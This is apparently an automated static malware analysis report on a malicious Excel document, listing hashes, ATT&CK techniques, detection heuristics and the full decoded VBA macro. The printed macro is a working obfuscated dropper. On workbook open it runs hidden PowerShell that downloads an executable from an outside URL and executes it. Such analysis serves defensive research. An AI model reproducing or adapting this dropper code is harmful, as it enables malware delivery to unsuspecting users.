Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c7ec55079a76c95…

MALICIOUS

Office (OLE)

55.5 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: daf045cd264ab68d2355c76def0abf97 SHA-1: 55ff39cfcb4ad912b1ad8bac4dc1dc80d100369b SHA-256: 5c7ec55079a76c956815a2983e813bc7f85c3c9ce0bc397d3623e9ac7a9cbad8
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Excel document containing a Workbook_Open VBA macro. This macro constructs and executes a PowerShell command to download a second-stage executable from 'http://farvictor.co/hqt' and save it to the user's desktop. The PowerShell command is obfuscated using string concatenation and environment variable manipulation.

Heuristics 5

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://farvictor.co/hqt\ In document text (OLE body)
    • http://farvictor.co/hqtIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2089 bytes
SHA-256: 7dc9ab5a47ca34a9c76db2125c4471fd66dc5ebdac877a519074060e7ed118b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function begletruumer()
If mfHTML > 0 Then
vizainstudioh = Array(Second(Now), Now(), Minute(Now), Now(), Now(), "eCUTI", Minute(Now), Now(), Now())
sistermodern = Array("as" + "s    """, Minute(Now), Minute(Now), "d  " + " /c""")
kimleertoster = Array(Now(), "ErShe")
airpocletsf = Array(Now(), "opRoFi -W", Now())
staloonerpeas = Array(Second(Now), Now(), Now(), Now(), "deN -N")
demotimerone = Array(Now(), "NOnInt", Now(), Now())
begletruumer = "cm" + sistermodern(3) + "pOW" + kimleertoster(1) + "Ll -n" + airpocletsf(1) + "In  hiD" + staloonerpeas(4) + "OLo -" + demotimerone(1) + "eRA  -eX" + vizainstudioh(5) + "oNp bYp" + sistermodern(0)
End If
End Function

Sub Workbook_Open()
If contverresUnverified > 0.9 Then
Dim bleemsignals As String
Randomize
bleemsignals = Int(Rnd * 9999999#)
techblueand = "$7d0mK6 = [TyPE](\""{1}{0}{3}{2}\"" -f 'on','ENVIr','Nt','mE') ;  "
engsiniores = "do{&(\""{1}{0}\"" -f'ep','sle') 33;${D`es} =  $7d0mk6::gETfoLDERpATh(\""Desktop\"");(&(\""{0}{1}{2}\"" -f'Ne','w-','Object') "
rabbeiego = bleemsignals
baltimoruss = "(\""{0}{2}{1}{3}{5}{6}{4}\""-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\""http://farvictor.co/hqt\"",\""$Des\" + rabbeiego + ".exe\"")}"
familiesnames = "while(!${?});&(\""{0}{2}{3}{1}\""-f 'St','ocess','art','-Pr') $Des\" + rabbeiego + ".exe"""
rubicvonv = techblueand + engsiniores + baltimoruss + familiesnames
Shell begletruumer + rubicvonv, fmTabStyleTabs
End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True